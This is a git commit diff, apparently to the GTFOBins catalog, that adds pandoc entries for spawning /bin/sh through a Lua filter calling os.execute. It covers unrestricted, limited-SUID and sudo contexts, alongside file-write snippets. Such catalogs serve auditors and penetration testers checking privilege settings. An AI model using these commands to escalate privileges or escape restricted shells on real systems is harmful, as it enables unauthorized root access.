Add Pandoc shell

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
Alvin Nguyen
2023-12-23 04:58:05 -08:00
committed by GitHub
parent e988dbb8fa
commit a0be237bf5

View File

@@ -8,12 +8,26 @@ functions:
- code: |
LFILE=file_to_write
echo DATA | pandoc -t plain -o "$LFILE"
shell:
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
pandoc -L $TF /dev/null
suid:
- code: |
LFILE=file_to_write
echo DATA | ./pandoc -t plain -o "$LFILE"
limited-suid:
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
./pandoc -L $TF /dev/null
sudo:
- code: |
LFILE=file_to_write
echo DATA | sudo pandoc -t plain -o "$LFILE"
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
sudo pandoc -L $TF /dev/null
---